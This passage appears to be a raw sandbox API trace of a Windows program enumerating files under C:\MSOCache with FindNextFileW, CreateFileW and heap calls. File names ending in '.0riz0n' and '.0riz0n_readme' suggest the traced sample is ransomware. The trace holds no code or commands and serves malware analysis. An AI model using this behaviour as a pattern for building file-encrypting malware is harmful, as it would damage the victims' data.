ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjLR.cab.0riz0n", cAlternateFileName="")) returned 1 [0142.037] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4a16ced0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x4a16ced0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x442, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjLR.cab.0riz0n_readme", cAlternateFileName="")) returned 1 [0142.037] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0142.037] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0142.037] GetLastError () returned 0x12 [0142.037] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x983ae8) returned 1 [0142.037] FindClose (in: hFindFile=0x829bb8 | out: hFindFile=0x829bb8) returned 1 [0142.038] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x983bf0) returned 1 [0142.038] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9839e0) returned 1 [0142.038] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0142.038] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.038] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x1a7f348 | out: lpFileInformation=0x1a7f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0142.045] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0142.046] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0142.046] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0142.046] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0142.046] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0142.046] NtClose (Handle=0x19c) returned 0x0 [0142.046] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.046] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.046] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.046] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x9839e0 [0142.046] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.046] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x983ae8 [0142.046] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829bb8 [0142.076] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.077] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0142.077] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.077] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.077] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.077] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.077] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.077] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x983bf0 [0142.077] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.077] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x9844e0 [0142.077] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x986af0 [0142.077] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.077] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.msi", cAlternateFileName="")) returned 1 [0142.077] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.077] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.077] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.077] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.077] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.077] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984500 [0142.077] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x986bf8 [0142.077] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.077] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.xml", cAlternateFileName="")) returned 1 [0142.077] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.077] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.077] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.077] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.077] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.077] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984520 [0142.077] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x986d00 [0142.077] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.077] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0142.077] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.077] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.077] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.077] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.077] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.078] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984540 [0142.078] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x986e08 [0142.078] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.078] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0142.078] GetLastError () returned 0x12 [0142.078] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829b78 [0142.078] FindClose (in: hFindFile=0x829bb8 | out: hFindFile=0x829bb8) returned 1 [0142.078] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.078] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0142.078] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.msi", cAlternateFileName="")) returned 1 [0142.078] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.xml", cAlternateFileName="")) returned 1 [0142.078] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0142.078] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0142.078] GetLastError () returned 0x12 [0142.078] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x983ae8) returned 1 [0142.078] FindClose (in: hFindFile=0x829b78 | out: hFindFile=0x829b78) returned 1 [0142.079] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x983bf0) returned 1 [0142.079] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9839e0) returned 1 [0142.079] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0142.079] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.079] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x1a7f348 | out: lpFileInformation=0x1a7f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0142.080] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0142.080] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0142.080] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0142.080] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0142.080] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0142.080] NtClose (Handle=0x194) returned 0x0 [0142.081] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.081] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.081] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.081] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x9839e0 [0142.081] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.081] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x983ae8 [0142.081] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829b78 [0142.083] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.084] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0142.084] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0142.084] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.084] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.084] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.084] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.084] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.084] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x983bf0 [0142.084] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.084] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984560 [0142.084] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x986f10 [0142.084] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.084] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0142.084] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.084] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.084] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.084] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.084] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.084] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.084] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1 [0142.084] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.084] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.084] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.084] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.084] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.084] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.084] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7eda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwtrig20.exe", cAlternateFileName="")) returned 1 [0142.085] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.085] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.085] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.085] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.085] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.085] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.085] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="")) returned 1 [0142.085] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.085] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.085] RtlAllocateHeap 